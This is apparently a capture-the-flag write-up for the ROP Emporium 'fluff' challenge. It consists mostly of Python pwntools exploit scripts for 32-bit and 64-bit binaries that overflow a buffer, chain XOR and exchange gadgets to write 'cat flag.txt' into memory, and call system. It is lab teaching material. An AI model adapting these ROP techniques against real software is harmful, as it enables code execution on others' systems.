fluff
Analysis
The challenges was similar to that of write4
, the only difference was in building creative ROP chains
, everything else was similar, had to get a working write primitive, load the string into the memory, and call system to get the flag.
32 bit
from pwn import *
# --> 0x0804868c: mov edx, 0xdefaced0; ret;
# --> 0x080483e1: pop ebx; ret;
# --> 0x0804867b: xor edx, ebx; pop ebp; mov edi, 0xdeadbabe; ret;
# --> 0x08048689: xchg edx, ecx; pop ebp; mov edx, 0xdefaced0; ret;
# --> 0x08048693: mov dword ptr [ecx], edx; pop ebp; pop ebx; xor byte ptr [ecx], bl; ret;
# --> 0x08048430: System call
## ----------------------------- Sequence
## XOR the address of data section with EDX value
## Move the EDX value to EDX
## Stored the XORed address into EBX
## XOR EDX and EBX -> EDX has the actual address for the data section
## Xchange the values for ECX and EDX -> ECX has the address for data section
## XOR the chunk with EDX value
## Move the EDX value into EDX
## Store the XORed chunk into EBX
## Execute the XOR EDX and EBX --> Actual Chunk value is in EDX
## Move the Chunk from EDX to data section
rop_chain = []
offset = "A" * 44
load_edx = 0x0804868c
load_ebx = 0x080483e1
xor_edx_ebx = 0x0804867b
xchg_edx_ecx = 0x08048689
store_chunk = 0x08048693
data_section = 0x0804a028
edx_val = 0xdefaced0
random_pop_val = 0xdeadbeef
system = 0x08048430
flag_text = "cat flag.txt"
def get_hex_arr():
arr = re.findall('.{4}', flag_text)
return [e[::-1].encode("hex") for e in arr]
ptr = 0
for chunk in get_hex_arr():
rop_chain.append(p32(load_edx))
rop_chain.append(p32(load_ebx))
xored_data_section = (data_section + ptr) ^ edx_val
rop_chain.append(p32(xored_data_section))
rop_chain.append(p32(xor_edx_ebx))
rop_chain.append(p32(random_pop_val))
rop_chain.append(p32(xchg_edx_ecx))
rop_chain.append(p32(random_pop_val))
rop_chain.append(p32(load_edx))
rop_chain.append(p32(load_ebx))
rop_chain.append(p32(int(chunk, 16) ^ edx_val))
rop_chain.append(p32(xor_edx_ebx))
rop_chain.append(p32(random_pop_val))
rop_chain.append(p32(store_chunk))
rop_chain.append(p32(random_pop_val))
rop_chain.append(p32(0))
ptr += 4
rop_chain.append(p32(system))
rop_chain.append(p32(0))
rop_chain.append(p32(data_section))
print offset + ''.join(rop_chain)
64 bit
from pwn import *
## 0x0000000000400832: pop r12; mov r13d, 0x604060; ret;
## 0x000000000040082f: xor r11, r12; pop r12; mov r13d, 0x604060; ret;
## 0x0000000000400822: xor r11, r11; pop r14; mov edi, 0x601050; ret;
## 0x0000000000400840: xchg r11, r10; pop r15; mov r11d, 0x602050; ret;
## 0x000000000040084e: mov qword ptr [r10], r11; pop r13; pop r12; xor byte ptr [r10], r12b; ret;
## 0x00000000004008c3: pop rdi; ret;
## ----------------------------- Sequence
## Load the address into r12
## Clear r11
## Xor r11 and r12 to get the value of address into r11
## exchange r11 and r10 to get the value of address into r10
## Load the chunk into r12
## Clear r11
## Xor r11 and r12 to get the chunk into r11
## Execute the move instruction
rop_chain = []
offset = "A" * 40
clear_r11 = 0x400822
load_rdi = 0x4008c3
load_r12 = 0x400832
xor_r11_r12 = 0x40082f
xchg_r11_r10 = 0x400840
store_chunk = 0x40084e
data_section = 0x601050
pop_null_val = 0x000000
system = 0x4005e0
flag_text = "cat flag.txt\x00\x00\x00\x00"
def get_hex_arr():
arr = re.findall('.{8}', flag_text)
return [e[::-1].encode("hex") for e in arr]
ptr = 0
for chunk in get_hex_arr():
## Load the address into the position
rop_chain.append(p64(load_r12))
rop_chain.append(p64(data_section + ptr))
rop_chain.append(p64(clear_r11))
rop_chain.append(p64(pop_null_val))
rop_chain.append(p64(xor_r11_r12))
rop_chain.append(p64(pop_null_val))
rop_chain.append(p64(xchg_r11_r10))
rop_chain.append(p64(pop_null_val))
## Load the chunk into the position
rop_chain.append(p64(load_r12))
rop_chain.append(p64(int(chunk, 16)))
rop_chain.append(p64(clear_r11))
rop_chain.append(p64(pop_null_val))
rop_chain.append(p64(xor_r11_r12))
rop_chain.append(p64(pop_null_val))
## Store the chunk into the data section
rop_chain.append(p64(store_chunk))
rop_chain.append(p64(pop_null_val))
rop_chain.append(p64(pop_null_val))
ptr += 8
rop_chain.append(p64(load_rdi))
rop_chain.append(p64(data_section))
rop_chain.append(p64(system))
print offset + ''.join(rop_chain)
Last updated